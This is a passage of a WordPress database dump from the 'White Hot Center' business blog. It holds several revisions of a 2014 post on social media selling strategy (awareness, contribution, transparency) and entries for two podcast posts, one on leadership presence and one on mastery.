(2751, 2, '2014-08-25 10:23:50', '2014-08-25 17:23:50', '<img class="alignnone size-full wp-image-2736" title="The Art of Social Media Selling" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Social-Selling.jpg" alt="" width="515" height="399" />\r\n<h1>If you don’t have a strategy in place for selling through social media– evolve or watch your business die a slow death.</h1>\r\nIn my <a title="WHC Survey Results" href="http://whc.fbdev.org/2014/07/insight-into-what-matters-most-to-you-in-growing-your-business/" target="_blank">recent survey</a>, only 25% of respondents said social media was an effective tool for growing their business. The majority (55%) stated that is was “important but not critical”. Seemingly, few have a strategy in place for using this channel effectively for growing their business.\r\n\r\nMarketing and selling successfully through social media channels requires a strategy if you are to get people to know you, like you and trust you and ultimately buy from you. If you don’t have a strategy in place for using this channel– evolve or watch your business die a slow death. This is true for every business large and small selling products or services.\r\n\r\nRandomly throwing stuff out into the goo of the web is not a strategy– but that’s exactly what most early-stage entrepreneurs and solo professionals do.\r\n\r\nMarketing and sales through social media channels has never been easier or more complex.  Easier because social media platforms are available for free for everyone to broadcast non-stop messages of all kinds. More complex because audiences are fragmented, with shorter attention spans and the web is vast sea of static noise.\r\n\r\nI’ll shed a little light on how best to build your strategy for social selling so you can expand your influence in the marketplace. A Social Selling Strategy requires these essential components before prospects will buy from you:\r\n<h3>Awareness (know me)</h3>\r\n<h3>Contribution (like me)</h3>\r\n<h3>Transparency (trust me)</h3>\r\n<h2><em>Awareness</em></h2>\r\nObviously if nobody knows about you… enough said.  But you don’t need everybody to know about you–only ”some people” (aka your target customer).  To build awareness through social selling, you will have to focus on serving a specific target of high value customers.  And once you’ve determined who these people are, you’ll need to hang out and be present in the online places where these people go for insight and inspiration.\r\n\r\nUnfortunately it’s not enough for these high value customers to “know” you exist. They have to “care” you exist.  For them to care about you (your brand/business), you’re going to have to represent something they highly value and can’t easily get from others. Put another way–they have to need you and like you.\r\n\r\n<strong><em>What idea of value do you (your brand/business) represent to your target customer that is not in abundant supply from others?</em></strong>\r\n\r\nLet your answer to this question guide and inform what relevant value you bring to the party and how you determine what the “quality of your presence” will be in social media channels for your value to resonate. People always do business with people they know and like.\r\n<h2><em>Contribution</em></h2>\r\nWe now live in the age of the customer. Buyers now rule the world, not the seller. Today, the buying process begins long before a salesperson gets called.  Buyers are no longer turning to salespeople for information on products and services.\r\n\r\nBuyers are seeking that knowledge from influencers online. Buyers no longer care about your marketing messages or trust your sales pitch. They trust an objective third party (think Angie’s List ) point of view. What customers learn from influential online resources determines who they will buy from.\r\n\r\nSocial selling requires you be an influencer. To influence you will have to contribute and share your expertise freely to help and serve customers be more successful in obtaining their outcomes. Your marketing must help not hype–serving not selling.\r\n\r\nYou must have a content marketing strategy based on contribution and shared values–not non-stop promotions and useless postings of dog pictures and over-used quotes from dead people.\r\n\r\n<strong><em>What pain or gain are your high value prospective customers concerned with. How will your knowledge, insight and expertise resonate and help them be successful?</em></strong>\r\n\r\nYour answer to this question will guide and inform what content you will share that will endear you to your customers and enable you to be an influencer. Put another way, you must be perceived as a value creator rather than an order-taker. People always buy from people they like and trust.\r\n<h2><em>Transparency</em></h2>\r\nTo be successful at social selling people have to trust you (your brand/business). You must substantiate your value with credible proof in the marketplace that your value proposition delivers on its promise. Buyers now have a voice and a choice–and in commoditized, price driven business categories, all the power in the buying cycle.\r\n\r\nRather than the “always be closing” quota driven mentality of old school selling, the social web enables you to “always be connecting”. Connecting with other like- minded colleagues, partners, thought leaders and prospective clients. Today everyone has a circle of influence–a group of people in their close network with whom they are highly trusted. I’ve heard that we all have 52 people on average with which we are highly influential.\r\n\r\nThink about the exponential power that brings to your refer-ability.  The more people you connect with and who value and share your stuff, the more influence you will have in the marketplace. The more influence you have, the more clients and customers will seek you out. Make no mistake they will find you (for good or ill) online.\r\n\r\n<strong><em>What credible proof do you have that will enable prospective customers to trust you deliver on your promise? </em></strong>\r\n\r\nYour answer to this question will drive your entire social selling strategy. You (your brand/business) must become an influential value-creator for your customers and clients. To build this level of trust, you’ll need to create and share content that helps people be successful first. A good rule of thumb to follow will mandate your content should be roughly 80% helpful and 20% promotional.\r\n\r\n<strong>Finally, Facebook is not face time.</strong>\r\n\r\nRemember that real face-to-face interactions with customers must also be a component of your social media selling strategies. If you have the right social selling strategy, your face time with prospective customers will be much more rewarding and you will close significantly more business.\r\n\r\nWhen you (your brand/business) represents a highly valued outcome target prospects know, care about and trust your marketing and sales results and the growth of your business will take a quantum leap.\r\n\r\n<em><strong>If you found this post useful, please subscribe to The White Hot Center blog.</strong></em>', 'Social Media Selling: Know me, like me, trust me.', 0, '', 'inherit', 'open', 'open', '', '2735-revision-15', '', '', '2014-08-25 10:23:50', '2014-08-25 17:23:50', '', 2735, 'http://www.whitehotcenter.com/2014/08/2735-revision-15/', 0, 'revision', '', 0),
(2754, 2, '2014-08-25 10:29:49', '2014-08-25 17:29:49', '<img class="alignnone size-full wp-image-2736" title="The Art of Social Media Selling" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Social-Selling.jpg" alt="" width="515" height="399" />\r\n<h1>If you don’t have a strategy in place for selling through social media– evolve or watch your business die a slow death.</h1>\r\nIn my <a title="WHC Survey Results" href="http://whc.fbdev.org/2014/07/insight-into-what-matters-most-to-you-in-growing-your-business/" target="_blank">recent survey</a>, only 25% of respondents said social media was an effective tool for growing their business. The majority (55%) stated that is was “important but not critical”. Seemingly, few have a strategy in place for using this channel effectively for growing their business.\r\n\r\nMarketing and selling successfully through social media channels requires a strategy if you are to get people to know you, like you and trust you and ultimately buy from you. If you don’t have a strategy in place for using this channel– evolve or watch your business die a slow death. This is true for every business large and small selling products or services.\r\n\r\nRandomly throwing stuff out into the goo of the web is not a strategy– but that’s exactly what most early-stage entrepreneurs and solo professionals do.\r\n\r\nMarketing and sales through social media channels has never been easier or more complex.  Easier because social media platforms are available for free for everyone to broadcast non-stop messages of all kinds. More complex because audiences are fragmented, with shorter attention spans and the web is vast sea of static noise.\r\n\r\nI’ll shed a little light on how best to build your strategy for social selling so you can expand your influence in the marketplace. A Social Selling Strategy requires these essential components before prospects will buy from you:\r\n<h3>Awareness (know me)</h3>\r\n<h3>Contribution (like me)</h3>\r\n<h3>Transparency (trust me)</h3>\r\n<h2><em>Awareness</em></h2>\r\nObviously if nobody knows about you… enough said.  But you don’t need everybody to know about you–only ”some people” (aka your target customer).  To build awareness through social selling, you will have to focus on serving a specific target of high value customers.  And once you’ve determined who these people are, you’ll need to hang out and be present in the online places where these people go for insight and inspiration.\r\n\r\nUnfortunately it’s not enough for these high value customers to “know” you exist. They have to “care” you exist.  For them to care about you (your brand/business), you’re going to have to represent something they highly value and can’t easily get from others. Put another way–they have to need you and like you.\r\n\r\n<strong><em>What idea of value do you (your brand/business) represent to your target customer that is not in abundant supply from others?</em></strong>\r\n\r\nLet your answer to this question guide and inform what relevant value you bring to the party and how you determine what the “quality of your presence” will be in social media channels for your value to resonate. People always do business with people they know and like.\r\n<h2><em>Contribution</em></h2>\r\nWe now live in the age of the customer. Buyers now rule the world, not the seller. Today, the buying process begins long before a salesperson gets called.  Buyers are no longer turning to salespeople for information on products and services.\r\n\r\nBuyers are seeking that knowledge from influencers online. Buyers no longer care about your marketing messages or trust your sales pitch. They trust an objective third party (think Angie’s List ) point of view. What customers learn from influential online resources determines who they will buy from.\r\n\r\nSocial selling requires you be an influencer. To influence you will have to contribute and share your expertise freely to help and serve customers be more successful in obtaining their desired outcomes. Your marketing must help not hype–serving not selling.\r\n\r\nYou must have a content marketing strategy based on contribution and shared values–not non-stop promotions and useless postings of dog pictures and over-used quotes from dead people.\r\n\r\n<strong><em>What pain or gain are your high value prospective customers concerned with. How will your knowledge, insight and expertise resonate and help them be successful?</em></strong>\r\n\r\nYour answer to this question will guide and inform what content you will share that will endear you to your customers and enable you to be an influencer. Put another way, you must be perceived as a value creator rather than an order-taker. People always buy from people they like and trust.\r\n<h2><em>Transparency</em></h2>\r\nTo be successful at social selling people have to trust you (your brand/business). You must substantiate your value with credible proof in the marketplace that your value proposition delivers on its promise. Buyers now have a voice and a choice–and in commoditized, price driven business categories, all the power in the buying cycle.\r\n\r\nRather than the “always be closing” quota driven mentality of old school selling, the social web enables you to “always be connecting”. Connecting with other like- minded colleagues, partners, thought leaders and prospective clients. Today everyone has a circle of influence–a group of people in their close network with whom they are highly trusted. I’ve heard that we all have 52 people on average with which we are highly influential.\r\n\r\nThink about the exponential power that brings to your refer-ability.  The more people you connect with and who value and share your stuff, the more influence you will have in the marketplace. The more influence you have, the more clients and customers will seek you out. Make no mistake they will find you (for good or ill) online.\r\n\r\n<strong><em>What credible proof do you have that will enable prospective customers to trust you deliver on your promise? </em></strong>\r\n\r\nYour answer to this question will drive your entire social selling strategy. You (your brand/business) must become an influential value-creator for your customers and clients. To build this level of trust, you’ll need to create and share content that helps people be successful first. A good rule of thumb to follow will mandate your content should be roughly 80% helpful and 20% promotional.\r\n\r\n<strong>Finally, Facebook is not face time.</strong>\r\n\r\nRemember that real face-to-face interactions with customers must also be a component of your social media selling strategies. If you have the right social selling strategy, your face time with prospective customers will be much more rewarding and you will close significantly more business.\r\n\r\nWhen you (your brand/business) represents a highly valued outcome target prospects know, care about and trust, your marketing and sales results will take a quantum leap forward.\r\n\r\n<em><strong>If you found this post useful, please subscribe to The White Hot Center blog.</strong></em>', 'Social Media Selling: Know me, like me, trust me.', 0, '', 'inherit', 'open', 'open', '', '2735-revision-18', '', '', '2014-08-25 10:29:49', '2014-08-25 17:29:49', '', 2735, 'http://www.whitehotcenter.com/2014/08/2735-revision-18/', 0, 'revision', '', 0),
(2752, 2, '2014-08-25 10:26:04', '2014-08-25 17:26:04', '<img class="alignnone size-full wp-image-2736" title="The Art of Social Media Selling" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Social-Selling.jpg" alt="" width="515" height="399" />\r\n<h1>If you don’t have a strategy in place for selling through social media– evolve or watch your business die a slow death.</h1>\r\nIn my <a title="WHC Survey Results" href="http://whc.fbdev.org/2014/07/insight-into-what-matters-most-to-you-in-growing-your-business/" target="_blank">recent survey</a>, only 25% of respondents said social media was an effective tool for growing their business. The majority (55%) stated that is was “important but not critical”. Seemingly, few have a strategy in place for using this channel effectively for growing their business.\r\n\r\nMarketing and selling successfully through social media channels requires a strategy if you are to get people to know you, like you and trust you and ultimately buy from you. If you don’t have a strategy in place for using this channel– evolve or watch your business die a slow death. This is true for every business large and small selling products or services.\r\n\r\nRandomly throwing stuff out into the goo of the web is not a strategy– but that’s exactly what most early-stage entrepreneurs and solo professionals do.\r\n\r\nMarketing and sales through social media channels has never been easier or more complex.  Easier because social media platforms are available for free for everyone to broadcast non-stop messages of all kinds. More complex because audiences are fragmented, with shorter attention spans and the web is vast sea of static noise.\r\n\r\nI’ll shed a little light on how best to build your strategy for social selling so you can expand your influence in the marketplace. A Social Selling Strategy requires these essential components before prospects will buy from you:\r\n<h3>Awareness (know me)</h3>\r\n<h3>Contribution (like me)</h3>\r\n<h3>Transparency (trust me)</h3>\r\n<h2><em>Awareness</em></h2>\r\nObviously if nobody knows about you… enough said.  But you don’t need everybody to know about you–only ”some people” (aka your target customer).  To build awareness through social selling, you will have to focus on serving a specific target of high value customers.  And once you’ve determined who these people are, you’ll need to hang out and be present in the online places where these people go for insight and inspiration.\r\n\r\nUnfortunately it’s not enough for these high value customers to “know” you exist. They have to “care” you exist.  For them to care about you (your brand/business), you’re going to have to represent something they highly value and can’t easily get from others. Put another way–they have to need you and like you.\r\n\r\n<strong><em>What idea of value do you (your brand/business) represent to your target customer that is not in abundant supply from others?</em></strong>\r\n\r\nLet your answer to this question guide and inform what relevant value you bring to the party and how you determine what the “quality of your presence” will be in social media channels for your value to resonate. People always do business with people they know and like.\r\n<h2><em>Contribution</em></h2>\r\nWe now live in the age of the customer. Buyers now rule the world, not the seller. Today, the buying process begins long before a salesperson gets called.  Buyers are no longer turning to salespeople for information on products and services.\r\n\r\nBuyers are seeking that knowledge from influencers online. Buyers no longer care about your marketing messages or trust your sales pitch. They trust an objective third party (think Angie’s List ) point of view. What customers learn from influential online resources determines who they will buy from.\r\n\r\nSocial selling requires you be an influencer. To influence you will have to contribute and share your expertise freely to help and serve customers be more successful in obtaining their desired outcomes. Your marketing must help not hype–serving not selling.\r\n\r\nYou must have a content marketing strategy based on contribution and shared values–not non-stop promotions and useless postings of dog pictures and over-used quotes from dead people.\r\n\r\n<strong><em>What pain or gain are your high value prospective customers concerned with. How will your knowledge, insight and expertise resonate and help them be successful?</em></strong>\r\n\r\nYour answer to this question will guide and inform what content you will share that will endear you to your customers and enable you to be an influencer. Put another way, you must be perceived as a value creator rather than an order-taker. People always buy from people they like and trust.\r\n<h2><em>Transparency</em></h2>\r\nTo be successful at social selling people have to trust you (your brand/business). You must substantiate your value with credible proof in the marketplace that your value proposition delivers on its promise. Buyers now have a voice and a choice–and in commoditized, price driven business categories, all the power in the buying cycle.\r\n\r\nRather than the “always be closing” quota driven mentality of old school selling, the social web enables you to “always be connecting”. Connecting with other like- minded colleagues, partners, thought leaders and prospective clients. Today everyone has a circle of influence–a group of people in their close network with whom they are highly trusted. I’ve heard that we all have 52 people on average with which we are highly influential.\r\n\r\nThink about the exponential power that brings to your refer-ability.  The more people you connect with and who value and share your stuff, the more influence you will have in the marketplace. The more influence you have, the more clients and customers will seek you out. Make no mistake they will find you (for good or ill) online.\r\n\r\n<strong><em>What credible proof do you have that will enable prospective customers to trust you deliver on your promise? </em></strong>\r\n\r\nYour answer to this question will drive your entire social selling strategy. You (your brand/business) must become an influential value-creator for your customers and clients. To build this level of trust, you’ll need to create and share content that helps people be successful first. A good rule of thumb to follow will mandate your content should be roughly 80% helpful and 20% promotional.\r\n\r\n<strong>Finally, Facebook is not face time.</strong>\r\n\r\nRemember that real face-to-face interactions with customers must also be a component of your social media selling strategies. If you have the right social selling strategy, your face time with prospective customers will be much more rewarding and you will close significantly more business.\r\n\r\nWhen you (your brand/business) represents a highly valued outcome target prospects know, care about and trust your marketing and sales results and the growth of your business will take a quantum leap.\r\n\r\n<em><strong>If you found this post useful, please subscribe to The White Hot Center blog.</strong></em>', 'Social Media Selling: Know me, like me, trust me.', 0, '', 'inherit', 'open', 'open', '', '2735-revision-16', '', '', '2014-08-25 10:26:04', '2014-08-25 17:26:04', '', 2735, 'http://www.whitehotcenter.com/2014/08/2735-revision-16/', 0, 'revision', '', 0),
(2753, 2, '2014-08-25 10:26:07', '2014-08-25 17:26:07', '<img class="alignnone size-full wp-image-2736" title="The Art of Social Media Selling" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Social-Selling.jpg" alt="" width="515" height="399" />\r\n<h1>If you don’t have a strategy in place for selling through social media– evolve or watch your business die a slow death.</h1>\r\nIn my <a title="WHC Survey Results" href="http://whc.fbdev.org/2014/07/insight-into-what-matters-most-to-you-in-growing-your-business/" target="_blank">recent survey</a>, only 25% of respondents said social media was an effective tool for growing their business. The majority (55%) stated that is was “important but not critical”. Seemingly, few have a strategy in place for using this channel effectively for growing their business.\r\n\r\nMarketing and selling successfully through social media channels requires a strategy if you are to get people to know you, like you and trust you and ultimately buy from you. If you don’t have a strategy in place for using this channel– evolve or watch your business die a slow death. This is true for every business large and small selling products or services.\r\n\r\nRandomly throwing stuff out into the goo of the web is not a strategy– but that’s exactly what most early-stage entrepreneurs and solo professionals do.\r\n\r\nMarketing and sales through social media channels has never been easier or more complex.  Easier because social media platforms are available for free for everyone to broadcast non-stop messages of all kinds. More complex because audiences are fragmented, with shorter attention spans and the web is vast sea of static noise.\r\n\r\nI’ll shed a little light on how best to build your strategy for social selling so you can expand your influence in the marketplace. A Social Selling Strategy requires these essential components before prospects will buy from you:\r\n<h3>Awareness (know me)</h3>\r\n<h3>Contribution (like me)</h3>\r\n<h3>Transparency (trust me)</h3>\r\n<h2><em>Awareness</em></h2>\r\nObviously if nobody knows about you… enough said.  But you don’t need everybody to know about you–only ”some people” (aka your target customer).  To build awareness through social selling, you will have to focus on serving a specific target of high value customers.  And once you’ve determined who these people are, you’ll need to hang out and be present in the online places where these people go for insight and inspiration.\r\n\r\nUnfortunately it’s not enough for these high value customers to “know” you exist. They have to “care” you exist.  For them to care about you (your brand/business), you’re going to have to represent something they highly value and can’t easily get from others. Put another way–they have to need you and like you.\r\n\r\n<strong><em>What idea of value do you (your brand/business) represent to your target customer that is not in abundant supply from others?</em></strong>\r\n\r\nLet your answer to this question guide and inform what relevant value you bring to the party and how you determine what the “quality of your presence” will be in social media channels for your value to resonate. People always do business with people they know and like.\r\n<h2><em>Contribution</em></h2>\r\nWe now live in the age of the customer. Buyers now rule the world, not the seller. Today, the buying process begins long before a salesperson gets called.  Buyers are no longer turning to salespeople for information on products and services.\r\n\r\nBuyers are seeking that knowledge from influencers online. Buyers no longer care about your marketing messages or trust your sales pitch. They trust an objective third party (think Angie’s List ) point of view. What customers learn from influential online resources determines who they will buy from.\r\n\r\nSocial selling requires you be an influencer. To influence you will have to contribute and share your expertise freely to help and serve customers be more successful in obtaining their desired outcomes. Your marketing must help not hype–serving not selling.\r\n\r\nYou must have a content marketing strategy based on contribution and shared values–not non-stop promotions and useless postings of dog pictures and over-used quotes from dead people.\r\n\r\n<strong><em>What pain or gain are your high value prospective customers concerned with. How will your knowledge, insight and expertise resonate and help them be successful?</em></strong>\r\n\r\nYour answer to this question will guide and inform what content you will share that will endear you to your customers and enable you to be an influencer. Put another way, you must be perceived as a value creator rather than an order-taker. People always buy from people they like and trust.\r\n<h2><em>Transparency</em></h2>\r\nTo be successful at social selling people have to trust you (your brand/business). You must substantiate your value with credible proof in the marketplace that your value proposition delivers on its promise. Buyers now have a voice and a choice–and in commoditized, price driven business categories, all the power in the buying cycle.\r\n\r\nRather than the “always be closing” quota driven mentality of old school selling, the social web enables you to “always be connecting”. Connecting with other like- minded colleagues, partners, thought leaders and prospective clients. Today everyone has a circle of influence–a group of people in their close network with whom they are highly trusted. I’ve heard that we all have 52 people on average with which we are highly influential.\r\n\r\nThink about the exponential power that brings to your refer-ability.  The more people you connect with and who value and share your stuff, the more influence you will have in the marketplace. The more influence you have, the more clients and customers will seek you out. Make no mistake they will find you (for good or ill) online.\r\n\r\n<strong><em>What credible proof do you have that will enable prospective customers to trust you deliver on your promise? </em></strong>\r\n\r\nYour answer to this question will drive your entire social selling strategy. You (your brand/business) must become an influential value-creator for your customers and clients. To build this level of trust, you’ll need to create and share content that helps people be successful first. A good rule of thumb to follow will mandate your content should be roughly 80% helpful and 20% promotional.\r\n\r\n<strong>Finally, Facebook is not face time.</strong>\r\n\r\nRemember that real face-to-face interactions with customers must also be a component of your social media selling strategies. If you have the right social selling strategy, your face time with prospective customers will be much more rewarding and you will close significantly more business.\r\n\r\nWhen you (your brand/business) represents a highly valued outcome target prospects know, care about and trust your marketing and sales results and the growth of your business will take a quantum leap.\r\n\r\n<em><strong>If you found this post useful, please subscribe to The White Hot Center blog.</strong></em>', 'Social Media Selling: Know me, like me, trust me.', 0, '', 'inherit', 'open', 'open', '', '2735-revision-17', '', '', '2014-08-25 10:26:07', '2014-08-25 17:26:07', '', 2735, 'http://www.whitehotcenter.com/2014/08/2735-revision-17/', 0, 'revision', '', 0),
(2755, 2, '2014-08-25 10:29:53', '2014-08-25 17:29:53', '<img class="alignnone size-full wp-image-2736" title="The Art of Social Media Selling" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Social-Selling.jpg" alt="" width="515" height="399" />\r\n<h1>If you don’t have a strategy in place for selling through social media– evolve or watch your business die a slow death.</h1>\r\nIn my <a title="WHC Survey Results" href="http://whc.fbdev.org/2014/07/insight-into-what-matters-most-to-you-in-growing-your-business/" target="_blank">recent survey</a>, only 25% of respondents said social media was an effective tool for growing their business. The majority (55%) stated that is was “important but not critical”. Seemingly, few have a strategy in place for using this channel effectively for growing their business.\r\n\r\nMarketing and selling successfully through social media channels requires a strategy if you are to get people to know you, like you and trust you and ultimately buy from you. If you don’t have a strategy in place for using this channel– evolve or watch your business die a slow death. This is true for every business large and small selling products or services.\r\n\r\nRandomly throwing stuff out into the goo of the web is not a strategy– but that’s exactly what most early-stage entrepreneurs and solo professionals do.\r\n\r\nMarketing and sales through social media channels has never been easier or more complex.  Easier because social media platforms are available for free for everyone to broadcast non-stop messages of all kinds. More complex because audiences are fragmented, with shorter attention spans and the web is vast sea of static noise.\r\n\r\nI’ll shed a little light on how best to build your strategy for social selling so you can expand your influence in the marketplace. A Social Selling Strategy requires these essential components before prospects will buy from you:\r\n<h3>Awareness (know me)</h3>\r\n<h3>Contribution (like me)</h3>\r\n<h3>Transparency (trust me)</h3>\r\n<h2><em>Awareness</em></h2>\r\nObviously if nobody knows about you… enough said.  But you don’t need everybody to know about you–only ”some people” (aka your target customer).  To build awareness through social selling, you will have to focus on serving a specific target of high value customers.  And once you’ve determined who these people are, you’ll need to hang out and be present in the online places where these people go for insight and inspiration.\r\n\r\nUnfortunately it’s not enough for these high value customers to “know” you exist. They have to “care” you exist.  For them to care about you (your brand/business), you’re going to have to represent something they highly value and can’t easily get from others. Put another way–they have to need you and like you.\r\n\r\n<strong><em>What idea of value do you (your brand/business) represent to your target customer that is not in abundant supply from others?</em></strong>\r\n\r\nLet your answer to this question guide and inform what relevant value you bring to the party and how you determine what the “quality of your presence” will be in social media channels for your value to resonate. People always do business with people they know and like.\r\n<h2><em>Contribution</em></h2>\r\nWe now live in the age of the customer. Buyers now rule the world, not the seller. Today, the buying process begins long before a salesperson gets called.  Buyers are no longer turning to salespeople for information on products and services.\r\n\r\nBuyers are seeking that knowledge from influencers online. Buyers no longer care about your marketing messages or trust your sales pitch. They trust an objective third party (think Angie’s List ) point of view. What customers learn from influential online resources determines who they will buy from.\r\n\r\nSocial selling requires you be an influencer. To influence you will have to contribute and share your expertise freely to help and serve customers be more successful in obtaining their desired outcomes. Your marketing must help not hype–serving not selling.\r\n\r\nYou must have a content marketing strategy based on contribution and shared values–not non-stop promotions and useless postings of dog pictures and over-used quotes from dead people.\r\n\r\n<strong><em>What pain or gain are your high value prospective customers concerned with. How will your knowledge, insight and expertise resonate and help them be successful?</em></strong>\r\n\r\nYour answer to this question will guide and inform what content you will share that will endear you to your customers and enable you to be an influencer. Put another way, you must be perceived as a value creator rather than an order-taker. People always buy from people they like and trust.\r\n<h2><em>Transparency</em></h2>\r\nTo be successful at social selling people have to trust you (your brand/business). You must substantiate your value with credible proof in the marketplace that your value proposition delivers on its promise. Buyers now have a voice and a choice–and in commoditized, price driven business categories, all the power in the buying cycle.\r\n\r\nRather than the “always be closing” quota driven mentality of old school selling, the social web enables you to “always be connecting”. Connecting with other like- minded colleagues, partners, thought leaders and prospective clients. Today everyone has a circle of influence–a group of people in their close network with whom they are highly trusted. I’ve heard that we all have 52 people on average with which we are highly influential.\r\n\r\nThink about the exponential power that brings to your refer-ability.  The more people you connect with and who value and share your stuff, the more influence you will have in the marketplace. The more influence you have, the more clients and customers will seek you out. Make no mistake they will find you (for good or ill) online.\r\n\r\n<strong><em>What credible proof do you have that will enable prospective customers to trust you deliver on your promise? </em></strong>\r\n\r\nYour answer to this question will drive your entire social selling strategy. You (your brand/business) must become an influential value-creator for your customers and clients. To build this level of trust, you’ll need to create and share content that helps people be successful first. A good rule of thumb to follow will mandate your content should be roughly 80% helpful and 20% promotional.\r\n\r\n<strong>Finally, Facebook is not face time.</strong>\r\n\r\nRemember that real face-to-face interactions with customers must also be a component of your social media selling strategies. If you have the right social selling strategy, your face time with prospective customers will be much more rewarding and you will close significantly more business.\r\n\r\nWhen you (your brand/business) represents a highly valued outcome target prospects know, care about and trust, your marketing and sales results will take a quantum leap forward.\r\n\r\n<em><strong>If you found this post useful, please subscribe to The White Hot Center blog.</strong></em>', 'Social Media Selling: Know me, like me, trust me.', 0, '', 'inherit', 'open', 'open', '', '2735-revision-19', '', '', '2014-08-25 10:29:53', '2014-08-25 17:29:53', '', 2735, 'http://www.whitehotcenter.com/2014/08/2735-revision-19/', 0, 'revision', '', 0),
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(2769, 2, '2014-09-15 14:37:29', '2014-09-15 21:37:29', '<img class="alignnone size-full wp-image-2770" title="Leadership is the quality of your presence." src="http://whc.fbdev.org/wp-content/uploads/2014/09/presence.gif" alt="" width="500" height="379" />\r\n\r\nAs a creative entrepreneur and solo professional, you already know how vitally important it is to your success that you be an effective and well-respected leader– one who is recognized for your mastery. In this podcast, I''ll discuss what it takes to elevate the quality of your presence and your competitive advantage in the marketplace.\r\n\r\n&nbsp;\r\n\r\n[podcast format="video"]http://whc.fbdev.org/wp-content/uploads/2014/09/PodCastLeadership9.10.14.mp3[/podcast]', 'WHC Podcast: Leadership = the quality of your presence.', 0, '', 'publish', 'open', 'open', '', 'whc-podcast-leadership-the-quality-of-your-presence', '', '', '2014-09-15 14:38:30', '2014-09-15 21:38:30', '', 0, 'http://www.whitehotcenter.com/?p=2769', 0, 'post', '', 0),
(2759, 2, '2014-08-26 17:21:29', '2014-08-27 00:21:29', '<img class="alignnone size-full wp-image-2761" title="Mastery" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Mastery.jpg" alt="" width="495" height="371" />\r\n\r\nOur popular business literature is full of proclamations on what mastery is and requires of people and organizations. I am particularly amused with the accepted idea that mastery is simply the result of 10,000 hours of practice. According to the conventional wisdom after that amount of time invested you’re considered to be a master.\r\n\r\nMastery is not about the time you put in because, in itself, mastery is timeless. In this podcast, I share some ideas about mastery and what’s really involved in being a Master Jedi style.\r\n\r\nPlease share your comments and if you found this helpful, please subscribe to the White Hot Center!\r\n\r\n[podcast format="video"]http://whc.fbdev.org/wp-content/uploads/2014/08/WHC-Podcast_-In-Search-Of-Mastery.mp3[/podcast]\r\n\r\n&nbsp;', 'WHC Podcast: In Search of Mastery.', 0, '', 'publish', 'open', 'open', '', 'whc-podcast-in-search-of-mastery', '', '', '2014-08-26 17:32:06', '2014-08-27 00:32:06', '', 0, 'http://www.whitehotcenter.com/?p=2759', 0, 'post', '', 0),
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(2762, 2, '2014-08-26 17:19:22', '2014-08-27 00:19:22', '<img class="alignnone size-full wp-image-2761" title="Mastery" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Mastery.jpg" alt="" width="495" height="371" />\n\nOur popular business literature is full of proclamations on what mastery is and requires of people and organizations. I am particularly amused with the accepted idea that mastery is simply the result of 10,000 hours of practice. According to the conventional wisdom after that amount of time invested you’re considered to be a master.\n\nMastery is not about the time you put in because, in itself, mastery is timeless. In this podcast, I share some ideas about mastery and what’s really involved in being a Master Jedi style.\n\nPlease share your comments and if you found this helpful, please subscribe to the White Hot Center!\n\n&nbsp;', 'WHC Podcast: In Search of Mastery.', 0, '', 'inherit', 'open', 'open', '', '2759-revision', '', '', '2014-08-26 17:19:22', '2014-08-27 00:19:22', '', 2759, 'http://www.whitehotcenter.com/2014/08/2759-revision/', 0, 'revision', '', 0);
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(2764, 2, '2014-08-26 17:19:42', '2014-08-27 00:19:42', '<img class="alignnone size-full wp-image-2761" title="Mastery" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Mastery.jpg" alt="" width="495" height="371" />\r\n\r\nOur popular business literature is full of proclamations on what mastery is and requires of people and organizations. I am particularly amused with the accepted idea that mastery is simply the result of 10,000 hours of practice. According to the conventional wisdom after that amount of time invested you’re considered to be a master.\r\n\r\nMastery is not about the time you put in because, in itself, mastery is timeless. In this podcast, I share some ideas about mastery and what’s really involved in being a Master Jedi style.\r\n\r\nPlease share your comments and if you found this helpful, please subscribe to the White Hot Center!\r\n\r\n[podcast format="video"]http://whc.fbdev.org/wp-content/uploads/2014/08/WHC-Podcast_-In-Search-Of-Mastery.mp3\r\n[/podcast]\r\n\r\n&nbsp;', 'WHC Podcast: In Search of Mastery.', 0, '', 'inherit', 'open', 'open', '', '2759-revision-3', '', '', '2014-08-26 17:19:42', '2014-08-27 00:19:42', '', 2759, 'http://www.whitehotcenter.com/2014/08/2759-revision-3/', 0, 'revision', '', 0),
(2765, 2, '2014-08-26 17:21:29', '2014-08-27 00:21:29', '<img class="alignnone size-full wp-image-2761" title="Mastery" src="http://whc.fbdev.org/wp-content/uploads/2014/08/Mastery.jpg" alt="" width="495" height="371" />\r\n\r\nOur popular business literature is full of proclamations on what mastery is and requires of people and organizations. I am particularly amused with the accepted idea that mastery is simply the result of 10,000 hours of practice. According to the conventional wisdom after that amount of time invested you’re considered to be a master.\r\n\r\nMastery is not about the time you put in because, in itself, mastery is timeless. In this podcast, I share some ideas about mastery and what’s really involved in being a Master Jedi style.\r\n\r\nPlease share your comments and if you found this helpful, please subscribe to the White Hot Center!\r\n\r\n[podcast format="video"]http://whc.fbdev.org/wp-content/uploads/2014/08/WHC-Podcast_-In-Search-Of-Mastery.mp3\r\n[/podcast]\r\n\r\n&nbsp;', 'WHC Podcast: In Search of Mastery.', 0, '', 'inherit', 'open', 'open', '', '2759-revision-4', '', '', '2014-08-26 17:21:29', '2014-08-27 00:21:29', '', 2759, 'http://www.whitehotcenter.com/2014/08/2759-revision-4/', 0, 'revision', '', 0),
